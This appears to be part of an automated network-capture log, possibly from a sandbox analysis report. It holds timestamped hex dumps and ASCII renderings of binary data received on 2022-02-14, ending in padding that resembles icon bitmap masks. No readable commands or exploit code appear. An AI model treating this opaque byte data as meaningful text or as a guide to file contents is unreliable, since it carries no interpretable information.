                                                                                                            2022-02-14 07:12:30 UTC816INData Raw: be 19 8b fa 7e 31 ec 00 96 23 90 aa e8 fe 6c 93 53 f1 53 5a b0 c7 61 6f 45 f5 d1 43 4a df 32 0a 1f 5e 3a 70 07 c3 69 cf ea 7d a9 92 a2 2e 94 b2 41 ed e6 f0 fb b7 33 cc 84 a0 62 cd d9 ea bd 4a af 13 6b 57 53 aa a5 bc 95 b7 6e 18 7a aa e3 53 1d ed 9e a5 66 af a6 06 48 f7 61 4c 07 ba ff 60 10 0b 7e bc 82 10 c8 eb 7f 44 00 8e ec d1 68 0e db 0f 02 16 6b 36 be 9c 3f 6c 36 fc bc 0f 03 d6 07 01 86 0c cd 8c c0 31 3a d1 03 03 f2 51 10 c3 56 a2 82 44 b5 22 e2 0e 61 ec e0 83 92 e1 e3 11 81 a8 2a cd 07 ea 81 83 7a 48 1c 98 98 ae a9 fe 7d 83 41 6e 8e a4 62 fa 57 1b 7f 7e 9f 25 fc 8f c8 2c bb 24 c9 11 8f 68 03 d0 0d 29 78 6e 44 71 0f 69 30 3c dd f7 b7 d1 ec bc 18 73 8d 70 20 7a b8 48 8a db 16 8e 74 1d e8 78 ad 1b f0 b9 b4 c9 78 87 15 98 ac 90 40 8a 36 04 f8 30 6d 51 48
                                                                                                            Data Ascii: ~1#lSSZaoECJ2^:pi}.A3bJkWSnzSfHaL`~Dhk6?l61:QVD"a*zH}AnbW~%,$h)xnDqi0<sp zHtxx@60mQH
                                                                                                            2022-02-14 07:12:30 UTC832INData Raw: 2f 51 d5 f9 f4 69 cd a9 bb 1e 41 e5 c7 d6 dd e7 9c 09 76 15 4a 38 a1 7d 49 e1 01 d1 b2 b3 e6 cc a0 0f c3 56 f9 3a bb 3a 96 d4 6b 22 b9 d8 f2 7d f6 8b 91 76 54 5d da 79 7c fb 7b ed fe 74 b5 e1 5e d4 f9 c0 fa 8d 65 ed 7d 7e ce b2 26 a7 5e 09 0e cf ca 47 5b bd 33 39 e1 db fc 30 4d dd d5 9b e2 e3 57 77 a3 9c 4f 1a 33 f8 d8 2e 8f 4b f7 21 7d bd 60 67 cf b9 f3 c6 d3 d8 85 14 a3 e3 39 75 41 33 b6 89 06 da 6e 95 c9 39 bf ce 59 8d 4f 44 3b 4f 8b 7a 6f 90 99 aa bc 6a b5 bf a9 21 74 b1 b6 6b bf fc 1d a2 01 7a a8 be a9 a6 e8 cb be f7 c9 31 87 95 33 2a 79 b2 37 6d 2a 76 35 14 a8 1d cb e9 cd 42 89 9f 3e 35 86 16 49 ad f9 fa 2c bc d1 4c e7 67 58 74 5d 0c 77 a8 f5 de cb 02 9b a3 82 59 b8 83 1b 0a 4e e8 b5 9d c6 6f 14 38 72 8b ab b7 f0 ae 66 72 a4 9e e1 27 19 96 7e 9b d7
                                                                                                            Data Ascii: /QiAvJ8}IV::k"}vT]y|{t^e}~&^G[390MWwO3.K!}`g9uA3n9YOD;Ozoj!tkz13*y7m*v5B>5I,LgXt]wYNo8rfr'~
                                                                                                            2022-02-14 07:12:30 UTC848INData Raw: e0 b9 f1 78 81 1c 6b 0c 1e 07 34 d8 00 b7 84 c4 ef 71 8e 00 91 40 e6 71 20 5f 98 5e 00 a8 14 8b 34 d4 a1 c1 60 89 8f 45 8e cd 45 80 8d c4 e3 f0 14 bd 49 fe 3c 78 5b 96 14 92 e8 6d 2d c5 42 dc f8 28 e0 37 89 d7 c2 3a c1 44 87 98 0c 18 6f 70 28 3c 94 e9 f7 0a 03 aa f5 49 44 44 74 88 d3 8e e2 21 d5 16 30 48 6f 42 00 9b c7 29 43 5c 0f b9 48 96 3e 1e 22 00 2c 80 1c 60 d2 23 f2 31 1f 66 50 64 44 58 89 78 e1 20 05 47 02 bb 9c 56 33 ff 49 7e 78 6f 36 09 2a 86 6c b5 28 a8 00 fc 9a bb 18 27 5f a4 2e df 0c 5e 5b 6f 12 04 71 60 33 9f 4d d7 32 e2 1d 89 e7 c0 64 45 d6 d0 17 24 92 52 f4 21 53 1f c4 b2 b7 05 e0 0a e2 ad c1 b9 62 20 b2 02 89 94 0e 03 b6 da 6a 2e 82 09 4c 20 60 0a 92 08 20 75 60 8c f5 75 1c d3 4e c0 f6 e6 03 1b ee cf 04 4e 89 14 9e 2b 0e 93 bc 36 02 cb 3e
                                                                                                            Data Ascii: xk4q@q _^4`EEI<x[m-B(7:Dop(<IDDt!0HoB)C\H>",`#1fPdDXx GV3I~xo6*l('_.^[oq`3M2dE$R!Sb j.L ` u`uNN+6>
                                                                                                            2022-02-14 07:12:30 UTC864INData Raw: 1e 99 d1 7c 1a a7 d9 8c a1 9a f9 aa 18 94 c0 e9 2b 52 92 4f 8f bd dd f7 c9 d8 67 7a 6e e7 d2 49 9b e1 37 4a 00 64 93 29 7c ca 26 c9 03 e7 82 de f0 be 8c 86 7f 3d 72 e0 a4 b4 9f ad c1 e0 8f da 85 f2 ce f2 00 03 9f a1 a3 f9 a1 9e 9d 53 5b 45 44 2f e7 a6 a8 4b e8 b8 de 2f 99 da 9a 77 e8 c0 f1 1f 3f e2 6f ac ec b8 b8 cb 0d eb 18 23 2f 2d 7d df 6e d7 4f e7 43 8f 46 c5 95 cd 62 e7 bc aa e3 2e 3e b9 b0 2b ee fe af a1 00 3c 31 4f ea 2f 7a dc 4d df 71 8d eb c3 13 0f 3e 1b eb ef 8e f5 eb 16 32 54 39 b7 fc bc 80 5b 75 6b 89 4a 3d f5 e9 a3 66 a4 27 37 2e d6 ef 60 ca e1 a7 0a 56 51 73 ae f9 ec 96 d7 1a 74 9a 41 e1 d3 43 9f ef 39 7c 97 b8 fa 74 e1 db ed b4 3d b3 37 9b 43 66 42 8c 0f fe 35 2b fc 6c 5c 79 a2 98 23 9b 72 50 74 a1 b1 55 64 67 ca 90 6f 8f 50 24 3f cd 4c 83
                                                                                                            Data Ascii: |+ROgznI7Jd)|&=rS[ED/K/w?o#/-}nOCFb.>+<1O/zMq>2T9[ukJ=f'7.`VQstAC9|t=7CfB5+l\y#rPtUdgoP$?L
                                                                                                            2022-02-14 07:12:30 UTC880INData Raw: ac a4 1c 81 f8 66 00 d5 ca ac 3e 1e 90 d8 87 62 d6 57 63 4c a9 dc 82 14 5e c2 45 5b 08 4f 36 a1 42 88 a0 90 62 0c 84 88 08 01 d4 05 f0 90 28 38 a5 4a 49 21 7d 81 c2 c0 46 70 43 e9 7f fa 0e 3c 8e 84 14 f1 c6 4a 07 d2 a6 f1 7a 5e 53 a9 92 a0 b3 fd 7f 08 c1 71 0a c8 08 88 7c f5 84 ec 16 b0 be ec be f5 bf d0 c0 95 55 42 b0 ba 1d ab f8 3f 9e 80 ff 12 82 11 56 1a c9 a5 ac c2 55 8e 9c a4 21 ec 63 08 c2 b2 e4 0d 31 01 4e ce e9 10 44 f7 a7 6b 40 7a 8e f9 c1 99 7a 74 56 7e 50 94 62 78 41 58 58 38 ae d8 1f c4 a2 35 45 83 04 20 67 7c 10 3d c4 47 8b 48 c9 63 39 d0 48 e9 69 91 2e aa 96 7a 2e 80 99 0e b9 e4 88 44 a0 b5 49 a9 49 28 10 5b 98 43 0f 94 88 b2 45 05 f8 47 c9 16 45 fc b7 0d b1 3e 1d ad 4f a1 f4 04 da 31 75 bb 75 7d 08 dd dd ba 77 ef 7a 91 0c 28 00 e2 c9 86 59
                                                                                                            Data Ascii: f>bWcL^E[O6Bb(8JI!}FpC<Jz^Sq|UB?VU!c1NDk@zztV~PbxAXX85E g|=GHc9Hi.z.DII([CEGE>O1uu}wz(Y
                                                                                                            2022-02-14 07:12:30 UTC896INData Raw: ea d7 fc 70 8c 35 7b c2 64 b1 e5 fc ea fb 75 fc 2b 8f 06 0e 55 bd 2c b8 31 7f 65 33 eb da e5 00 4d 2d e8 a5 93 f8 94 51 c5 05 ad b2 8e 4d bf 4e 2d 7e 94 dd 79 36 e3 f2 b8 9f 03 d3 eb 7d 81 d2 be 4d d4 63 1b f6 2d 9d 92 23 7c f3 bf f8 77 11 d3 6b 53 16 73 0a f7 77 e9 76 cd ed 7e ac e2 81 8f 1b 52 7e 2f 5d c0 4b 6a 15 9a 9c 69 c9 4b f3 52 08 57 be 64 ec 76 af 46 de ce ec 89 f1 7a 03 c3 a4 17 13 cf 7e e2 87 ab 96 bf 48 89 de ba fa e4 15 7e 9d 26 a1 59 f4 c7 93 a7 3d d5 8f ae 26 e5 c9 d2 e6 63 e8 a6 4a 05 a7 ba 1d 2f fc fa 56 d0 51 f6 a3 8d 97 8f 74 53 36 ed b6 f5 79 b6 d6 93 b6 32 2e 71 3f 8c e7 3a c2 91 bf 65 bb f8 1e 5a 35 eb ae dd 90 0a b1 dd db dd 78 a9 8c fc f5 e7 5c 83 c7 d0 b3 ed cc fe 38 f1 9f 8f 79 14 5f a8 1d 25 5d d1 e6 19 8c 64 7d 2a 9e 3f 63 ab
                                                                                                            Data Ascii: p5{du+U,1e3M-QMN-~y6}Mc-#|wkSswv~R~/]KjiKRWdvFz~H~&Y=&cJ/VQtS6y2.q?:eZ5x\8y_%]d}*?c
                                                                                                            2022-02-14 07:12:30 UTC912INData Raw: 50 a5 4d c1 28 b3 f2 6f 07 1c 3f 1a bb a9 99 a1 7d 4d 6c 64 80 f0 d5 d3 d2 21 29 58 29 c4 e8 4d 53 af 65 fc c1 b1 5d 7b c6 13 63 b7 29 71 bd 3f 43 de 70 96 6a a0 43 ae b8 5c bd e7 45 6c fb 79 97 23 8a 77 75 64 f6 ed e4 6e 33 e5 96 5d ef 85 2f 99 51 d8 e6 ac 68 d9 5e 38 77 0f ee 5e 6e 3c d7 4f c9 7e f2 c5 a3 fc f1 d7 90 9c 53 7e 1f 4e 17 59 c6 fa be 4d 33 ff d8 3f 74 be 37 bb b3 0a b3 af c3 61 c8 34 c4 f8 e4 6c 8e ad 41 72 e6 5b af be f5 21 bd 13 ab 47 2b cf af bc f8 66 d2 be a1 51 49 7e c5 80 76 6c 75 3a 4d 30 b4 3b a1 2e 2e 7b 6c 4f 76 3a 3e fb 54 c2 f0 76 15 de ab 63 ed eb 1c ac fc 8f d0 96 8a 6e 08 e8 db 4e 29 e0 e2 ee b4 ff 59 a0 8a fc cd c0 a8 bd 88 8d 89 d2 95 a4 a5 8b c8 8a bf 60 6c ec 76 3e dc b9 42 b3 f5 1d a8 db d9 b2 ea e5 ca aa 3b 25 2f a5 b7
                                                                                                            Data Ascii: PM(o?}Mld!)X)MSe]{c)q?CpjC\Ely#wudn3]/Qh^8w^n<O~S~NYM3?t7a4lAr[!G+fQI~vlu:M0;..{lOv:>TvcnN)Y`lv>B;%/
                                                                                                            2022-02-14 07:12:30 UTC928INData Raw: eb 4c f8 e3 96 65 95 9a 07 64 9d fe 64 9d b9 13 95 a7 b8 a1 f4 cb 89 a7 76 c2 f8 f2 9b fa c4 68 bb 87 33 ec 82 37 e8 e3 56 f9 de 4e 4d 49 01 fa 4f fe 6a dc 5e 02 06 11 0d 95 17 6e 0c 48 36 18 06 11 3e 97 7e 29 9c 92 56 36 8a 11 7c bf 69 72 a3 e2 f3 2a 00 11 61 a3 77 07 82 7d c2 08 09 80 5f de ec 5d 23 42 ff bb 0d b1 2c 92 39 47 e5 40 2e f0 7f c3 e0 b4 2a e5 fb 17 1d 0f 03 d8 65 9e 2c f2 82 a6 b9 ad c6 f8 91 36 c4 d1 5a 40 46 d3 1b 8b 5e 15 ed a1 c5 fd 27 de c0 82 49 00 ce 06 89 eb c3 37 40 ca f3 9a eb 24 0c 61 74 e3 b1 3c 85 b0 00 09 0d 00 e0 6e 7b 14 9e ca 65 7b 60 41 52 36 86 6c 75 b1 ba 5e f8 58 33 8a 29 4b 17 fa e3 01 60 e0 27 67 f0 b8 0c 7a 2d 1a 50 03 f0 64 40 9e 61 ee 47 13 c8 bb 60 44 eb 47 da 07 03 43 44 25 d0 1c 58 a6 33 b9 bc 81 00 c4 75 8f 74
                                                                                                            Data Ascii: Leddvh37VNMIOj^nH6>~)V6|ir*aw}_]#B,9G@.*e,6Z@F^'I7@$at<n{e{`AR6lu^X3)K`'gz-Pd@aG`DGCD%X3ut
                                                                                                            2022-02-14 07:12:30 UTC944INData Raw: b1 80 84 f3 8d 7c 29 db 3f 88 34 a5 ec d8 1e 28 77 3b d3 4a 28 fa f6 d4 e5 a6 a4 e7 97 b4 df 0c 5c 49 52 bd d9 55 d4 14 26 f4 47 79 f9 b6 4d 29 af 54 e8 42 5e 63 d1 d1 47 1f b9 09 3b be 60 bf 87 6b 49 28 fb 0a 2b 3c e3 b7 49 76 fc eb a6 b5 c3 27 27 df eb c2 e6 43 17 c7 0b d0 51 f3 ad 2e 72 dc 50 e3 de f9 ab 9d 55 19 97 24 fc 1f 0c 26 1a 97 29 38 bb 34 e9 b3 9d d7 77 11 eb 6e 9a 6f f6 7f a4 a3 f7 f7 80 c3 51 d1 c2 8c ec b7 b3 47 66 62 6f 3c 63 6f 7e 29 fd 7a 91 b9 e6 70 f5 e9 6b 53 e2 27 b9 f3 b9 18 2a b6 ee 10 95 b2 63 81 c5 c9 8f 7e 34 5f 24 76 d8 fa cc cd b5 46 3d 74 4a 88 08 2e 8b f9 e0 b7 cb be 62 2b 97 cb fd de 32 f7 5f bb fd 99 d5 7a 8f 13 45 d1 5c 06 d7 f6 14 98 6f 79 34 6b f0 63 d1 87 b7 ad 9b 67 19 33 25 af 16 ae 21 3a e5 ed 74 38 c4 67 44 8f fe
                                                                                                            Data Ascii: |)?4(w;J(\IRU&GyM)TB^cG;`kI(+<Iv''CQ.rPU$&)84wnoQGfbo<co~)zpkS'*c~4_$vF=tJ.b+2_zE\oy4kcg3%!:t8gD
                                                                                                            2022-02-14 07:12:30 UTC960INData Raw: 30 68 13 dc 5a d5 00 d2 9b 00 79 76 21 0c 93 09 93 12 be 2e 5b 82 32 97 cb c9 b0 93 20 22 d2 bc 64 a4 2b 23 3c 1f f8 36 27 d6 42 03 1c 2e e2 5a e7 4a 12 00 d3 9b 71 c3 71 2d 96 6f 6e c2 44 d6 8a 64 14 25 01 5f c8 86 20 a3 62 02 01 b2 50 c3 a3 59 6b f1 7e 44 1c 09 7e 21 7c 08 30 8b 79 62 03 91 be 00 9e 38 32 7c 4a 13 2b 8d 84 33 42 91 c2 83 66 44 34 49 d6 0b 91 0d 16 80 5f 3e 80 98 49 5c ae 3a d6 56 13 47 1c b4 b3 82 8f f1 e2 29 d8 b7 38 4d 96 1d 1d 9e 3f 9e 0a 54 75 f0 54 51 9f 3f f0 b5 f4 5f 48 68 06 f5 42 4d cd cc c2 8a 84 45 3c 1f 9d ee 24 12 9b ae 3a 0d 14 ed 20 6f 40 b4 6a 14 59 0b 0d c4 20 55 03 00 32 fe 71 47 30 8a 03 a9 c3 84 8c 09 36 c1 53 a6 23 39 01 20 c3 b8 11 26 88 0f 50 f0 7d 07 21 60 0a a4 92 20 ce 83 40 2e 52 35 40 12 b0 82 7e 23 55 03 0c
                                                                                                            Data Ascii: 0hZyv!.[2 "d+#<6'B.ZJqq-onDd%_ bPYk~D~!|0yb82|J+3BfD4I_>I\:VG)8M?TuTQ?_HhBME<$: o@jY U2qG06S#9 &P}!` @.R5@~#U
                                                                                                            2022-02-14 07:12:30 UTC976INData Raw: e1 0f ef 28 60 5e a5 dc ff 74 1a 1d 7a df 3e 46 fd a0 d7 b7 e2 b3 9f 9e e1 a8 d9 1e af 19 89 87 36 3d 99 cb c9 ba 69 b2 f7 14 bf e9 a1 1d 5f a7 44 93 26 44 f5 96 44 09 4d ce 03 77 b4 ab 7b 3f 1e a7 27 1c fe f2 e0 eb fe 57 bf b7 31 7f bd 4f 6f b9 d4 fd 64 7c af 17 75 b1 57 99 70 2b d6 7f 66 c3 a5 fd 76 df f1 05 8f ed fb cf 5f e6 53 7c 6c 63 20 50 29 9c 73 2a f4 6e c6 d9 ba 1d cd fe 21 e7 ae 7c de 2d 32 e0 94 33 0d 32 d0 9d 8d 78 ff 0d 3b f4 7b 0e 19 bf b8 68 51 1e 60 e6 b8 c1 f3 e7 fa de b8 5d 4f 8d 2e ff 48 a1 c6 4e eb bc e0 3c d2 fa 56 01 bd 3e 79 f2 5c d0 ba 8c f5 df 65 4e a8 f1 91 ee 8a bf b2 93 c8 2d 2f fd 15 c4 4c 51 fc eb 6e da ce 2b 2d 7f db c2 f5 83 59 e7 fd 7e 9c a0 e4 ad ea ae 69 dd c1 03 b2 4d 94 2b e2 43 36 eb c1 91 1b 6f fd da f7 75 95 27 8b
                                                                                                            Data Ascii: (`^tz>F6=i_D&DDMw{?'W1Ood|uWp+fv_S|lc P)s*n!|-232x;{hQ`]O.HN<V>y\eN-/LQn+-Y~iM+C6ou'
                                                                                                            2022-02-14 07:12:30 UTC992INData Raw: f9 c0 2f 6a ce 27 01 ff cd 09 f8 bf f9 01 c8 f6 8f c0 54 a0 06 7e c0 cf ce 0d 38 7a 2b 82 8c 24 7d 5a a8 53 be 60 90 06 f0 cd b7 d1 b6 b2 70 03 85 0c eb a0 98 e0 18 4b 8b 84 7c c0 e6 48 03 81 20 86 98 20 c4 8a 08 70 92 72 10 0b 8a a2 5a eb 67 83 f4 70 01 9b 2c 07 36 d0 16 0c c8 13 4f a6 08 85 06 30 b4 f5 b1 91 b6 51 6c 4b 81 e0 b4 20 2d 69 a8 50 c6 19 b2 4c f1 67 d9 08 e8 5f 6d d7 d3 c3 d9 77 b7 93 b4 78 f6 de 74 0b 3c 12 1a 00 fa 4c 36 c3 90 42 3b 71 0f 07 94 a2 13 2d e3 71 7d fd 37 51 3a ea 53 45 66 bd f7 ff 98 46 25 ce 68 bc be b6 f6 39 11 1d 41 d6 98 3a e6 b6 66 17 5a 7a dd 48 8a de 09 a6 b0 7b 51 b2 a1 9e 2b a6 ed 8f ac 72 6d b5 8d fd 6d 39 7d ab 1b 6b 44 ab d2 38 3f 57 c8 be 1c f9 92 b2 0b 89 4d 45 e5 f4 bd 7f ee 3c d2 8c a8 fe d3 71 4d 97 36 f2 58
                                                                                                            Data Ascii: /j'T~8z+$}ZS`pK|H prZgp,6O0QlK -iPLg_mwxt<L6B;q-q}7Q:SEfF%h9A:fZzH{Q+rmm9}kD8?WME<qM6X
                                                                                                            2022-02-14 07:12:30 UTC1008INData Raw: 15 47 fd 8a 41 a5 84 bb 65 f9 1b a3 eb 76 0d cf 8f 19 df 31 70 9d 80 e2 1e f7 b0 3b 99 57 6b 04 b7 f4 f7 7d 9a c2 84 27 b5 78 2e 14 0c 47 6d b0 f3 ce 71 ba eb 9c 1c ef 74 4a 75 66 51 bc 74 b7 07 e5 dd 9f a1 f3 09 54 c1 f6 2d e7 ed fb 84 67 5e 3c 30 3a 48 8c 69 56 0b bc ba 2a da fa 51 cf 8b 10 db 51 01 02 43 e3 84 c1 f7 78 43 3f f3 d2 df 9f b4 ad 89 db 3f 1e 5a 1a 99 9a a1 5f 92 52 fd 50 55 a9 aa 58 90 6c dc d9 18 e7 9a a5 75 ea b4 d8 81 8f a2 13 87 3f a4 a0 14 55 7b a5 f2 2c 9e ae 95 dc 0d c2 53 b0 2f 9b 3e 50 11 49 78 f8 07 36 b4 a8 88 7e 10 7f 1b f1 0a 1c f1 dd 93 ce ef 41 f0 1f 1a f0 af d7 00 0c 12 68 12 e2 46 8e 84 2d 57 18 78 10 97 3e 4e c7 c6 26 96 df 88 e8 1d 91 98 0a 41 5e 44 00 e3 bc d5 3a 22 60 c6 23 a1 81 1e 53 2c e0 0d 5e e0 b2 70 44 99 1e 7e
                                                                                                            Data Ascii: GAev1p;Wk}'x.GmqtJufQtT-g^<0:HiV*QQCxC??Z_RPUXlu?U{,S/>PIx6~AhF-Wx>N&A^D:"`#S,^pD~
                                                                                                            2022-02-14 07:12:30 UTC1024INData Raw: f9 10 27 d4 19 f9 e1 94 c2 d5 0a a1 2b 2a 06 d7 ef 43 47 a9 c7 33 4b 8e 5f 0d d9 3c 95 88 61 1b 7d eb 39 a6 0e f6 f8 9c fb d8 f9 6c eb 39 f3 b4 72 95 90 2e 1b 71 f3 1c 1b 4f ed 33 aa f3 79 06 46 35 5d 96 a2 23 df 32 ca b0 c3 fb 79 91 27 c4 43 03 c9 47 36 3e 3d ac 7f 5a ac f0 54 49 eb 79 d7 1d ac 6b 3e c3 63 42 5f 7c 0e cf 28 cb cc 0d de da a6 a7 29 b7 ab 62 5f 83 b7 f4 e9 19 9e ca 00 a6 6d 51 d5 4f 3b bc 72 93 dd 91 9e 8f 2f 12 bb de 26 db 6e 72 e8 d6 bf ed de 94 14 da cc 5e 16 f9 50 b6 f7 e5 55 21 ad 2e ca 70 79 7a ac c5 42 63 30 55 b4 72 2f d9 78 13 65 74 f6 57 b7 76 e2 69 47 e2 a4 8c ca c4 e1 75 3a c1 3b 7e ff 6c 7d 2f f7 fb 07 fe 5b c7 d7 fc 6a af 17 fd 17 3f dd e8 e7 d3 09 b1 14 cb 27 0a e1 da d6 36 7d fc 1e cd 67 dd 53 fe 75 46 ee c1 a9 32 39 bd d0
                                                                                                            Data Ascii: '+*CG3K_<a}9l9r.qO3yF5]#2y'CG6>=ZTIyk>cB_|()b_mQO;r/&nr^PU!.pyzBc0Ur/xetWviGu:;~l}/[j?'6}gSuF29
                                                                                                            2022-02-14 07:12:31 UTC1040INData Raw: c1 e3 a7 c9 22 8d 7f 90 16 c0 de 83 b1 30 07 59 a5 41 4c 1f 00 74 91 6a 82 02 0c 14 8f 00 92 24 13 1c 23 9a 07 b7 20 c7 14 19 47 80 23 d8 38 c3 06 b2 39 95 81 58 ea 10 d3 8d 4d 24 c1 f7 a2 90 66 42 6e 44 60 08 98 28 40 26 2b 9a 30 89 40 8d 60 0f cc 61 2b f9 9b 3d 11 06 3f ef 72 d8 e2 6f 65 32 8c 13 3c 91 e7 77 6a 30 1d 11 a9 60 24 96 8f 25 43 a6 ab 6d 88 a1 7c 00 03 21 d3 8a 0c 3f c7 db 19 86 f0 7f eb 00 3f 1f 8f 34 3a 82 c9 04 e2 c6 a7 22 ed 86 91 b2 49 e4 bd 78 23 2b 1f 88 f6 8d 8c f5 02 6c 77 ac af 37 97 c7 43 f1 f6 c3 64 08 30 b3 11 85 44 44 4e 98 b4 42 87 20 6a 16 11 06 7b 78 1a 71 e9 71 1a 20 0a be 17 68 58 7a e7 c6 93 79 7b 89 2d c1 04 44 7e 18 fe 5e c8 fa 68 e0 01 37 0d be 17 47 f0 01 64 de 2e 0e 17 52 e1 81 1f b9 38 73 69 3c 14 1f 60 42 c6 91 d2
                                                                                                            Data Ascii: "0YALtj$# G#89XM$fBnD`(@&+0@`a+=?roe2<wj0`$%Cm|!??4:"Ix#+lw7Cd0DDNB j{xqq hXzy{-D~^h7Gd.R8si<`B
                                                                                                            2022-02-14 07:12:31 UTC1056INData Raw: a4 3c 20 5a 97 92 37 23 73 f4 e1 51 b1 82 03 6e ec 50 63 8d a3 dc 65 a7 dc 3d ae a0 9d f8 56 38 c5 36 71 83 51 11 61 05 db 54 8b 0e ea 7f 7c f1 e4 dc 9a ef 65 9a 65 21 7f 17 df 69 bd 7c dd 6a 82 6e 76 79 e8 e6 d0 4f af 07 d3 e7 db 7c e4 fe 58 bd 15 4d 0d e6 fd 79 9c b6 a7 6b bf 00 39 a5 78 ad bc 71 45 f8 f3 78 72 94 7d 93 25 35 77 58 cb 3a 31 43 31 7f 58 40 ea d6 15 aa 5e 32 ba e6 11 98 4c 3a b9 97 d4 71 4c ff b6 76 e5 cc d5 97 83 37 36 2b a7 67 26 0c 47 ed fe 43 6f 76 7a 71 76 df 58 f3 b3 e3 17 0f 57 ad bc d8 97 29 98 f7 f1 44 4b c1 ac 85 84 eb c1 4b c5 d2 41 fb 37 9a 7c 67 45 ec 37 db fa 6e c7 c5 a7 17 78 25 71 bc 0e 6e 6f f7 9a 7d 23 7c 79 77 d0 a3 f9 47 59 63 59 e8 e0 0e 95 23 8a 4b 28 03 91 08 15 e5 98 fc 73 a7 a5 79 df 4f 78 89 fd 3e 77 98 8b 9f 5e
                                                                                                            Data Ascii: < Z7#sQnPce=V86qQaT|ee!i|jnvyO|XMyk9xqExr}%5wX:1C1X@^2L:qLv76+g&GCovzqvXW)DKKA7|gE7nx%qno}#|ywGYcY#K(syOx>w^
                                                                                                            2022-02-14 07:12:31 UTC1072INData Raw: 71 08 d4 c9 c1 d7 c4 f8 5f 9e 43 64 9b e1 3f b2 08 e4 3e d2 7e 08 98 10 c9 4a 90 5b c5 b2 71 87 cd 57 f2 32 b8 96 f8 2f 01 10 fe 9a e4 a4 41 1b c8 5f 7b 23 3d 72 71 4b 31 1d 1e 48 67 c2 7f 25 82 74 88 fe da 13 5c 63 6d 88 7b 4b b0 62 a1 d9 41 e4 3b ac b6 a6 7f 9d 09 71 00 37 1f f3 bf 24 e0 ff cd 13 80 78 0b f0 f0 f1 b3 44 67 16 52 35 70 89 61 8f df 00 e8 be ea b4 04 5a 42 04 77 28 2d 01 07 99 ba b3 7c a3 d5 58 e9 ee 09 0a 12 52 bc 69 bc 29 18 7b 1a 23 4d d3 12 1f 99 eb 03 04 ed 33 23 81 45 18 e4 4c b3 ce 55 0f 4f e3 0a db 14 ca 9d 1a cc 07 42 51 31 be fe 4a 24 99 6c 39 5f 3e 15 1a 08 f3 e7 b1 0c 0b 49 ca 48 8c e0 e3 f3 09 df 0c 91 a8 be 76 f0 3f a1 06 89 c4 62 41 78 06 49 db 81 60 64 4e 48 77 7d d4 a1 61 49 76 d5 a6 c4 14 63 62 c7 f6 66 74 18 3c ba b5 c4
                                                                                                            Data Ascii: q_Cd?>~J[qW2/A_{#=rqK1Hg%t\cm{KbA;q7$xDgR5paZBw(-|XRi){#M3#ELUOBQ1J$l9_>IHv?bAxI`dNHw}aIvcbft<
                                                                                                            2022-02-14 07:12:31 UTC1088INData Raw: 3a 69 ba 46 d0 8c c0 e2 33 d6 b1 d8 bd 5c f9 6c 02 67 87 01 29 d2 0a 80 d0 ed 4d c8 e1 00 88 20 88 a5 ce 21 45 de 5e e4 97 fb 41 0a 2d a2 f3 88 de 9f 00 81 f0 bd b8 e0 f0 5d 87 79 ed 16 73 6c 9b b5 5a 2d b8 ed 16 33 a7 df f8 37 b4 70 e6 b6 83 07 ae c0 0d 57 1f 4c 7c b7 72 68 c0 39 47 a3 d1 00 11 3d fe e0 97 3e f7 ad b5 fe bd 83 b7 52 02 a0 00 e0 f9 17 5f 79 82 31 f6 68 3f f2 c7 89 be 8b b3 be b6 eb e6 df 3a d6 e8 dc 4d fb 6a a3 d7 ed 1a 19 d5 34 9d 34 5d 0f 89 af 93 a6 e9 04 4d 27 29 a3 4f 21 91 45 3f 92 f5 70 df b3 2d b2 4c c0 f4 d0 20 92 44 4f ef 13 1d 0f e9 9c 43 c6 fb c9 5e 08 75 48 4e 12 f9 05 c2 b0 01 92 88 85 82 40 dc f7 e0 39 36 73 db 2d ad dd 6c b2 b6 dd 82 b1 78 7a 9f 38 ff c6 3d 13 a3 a3 b9 db 6e 3c 04 d3 34 33 f3 02 92 08 3c f9 e0 97 3e f7 d8
                                                                                                            Data Ascii: :iF3\lg)M !E^A-]yslZ-37pWL|rh9G=>R_y1h?:Mj44]M')O!E?p-L DOC^uHN@96s-lxz8=n<43<>
                                                                                                            2022-02-14 07:12:31 UTC1104INData Raw: 80 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            2022-02-14 07:12:31 UTC1120INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f8 7f ff ff ff ff ff ff f0 3f ff ff ff ff ff ff f0 1f ff ff ff ff ff ff f0 0f ff ff ff ff ff ff f0 07 ff ff ff ff ff ff f8 03 ff ff ff ff ff ff fc 01 ff ff ff ff ff ff fe 00 ff ff ff ff ff ff ff 00 7f ff ff ff ff ff ff 80 3f ff ff ff ff ff ff c0 1f ff ff ff ff ff ff e0 0f ff ff ff ff ff ff f0 07 ff ff ff ff ff ff f8 03 ff ff ff ff ff ff fc 01 ff ff ff ff ff ff fe 00 ff ff ff ff ff ff ff 00 ff ff ff ff ff ff ff 80 7f c0 07 ff ff ff ff c0 3e 00 00 ff ff ff ff e0 18 00 00 3f ff ff ff f8 00 00 00 1f ff ff ff fc 00 00 00 0f ff ff ff fe 00 00 00 07 ff ff ff ff 00 00 00 03
                                                                                                            Data Ascii: ??>?
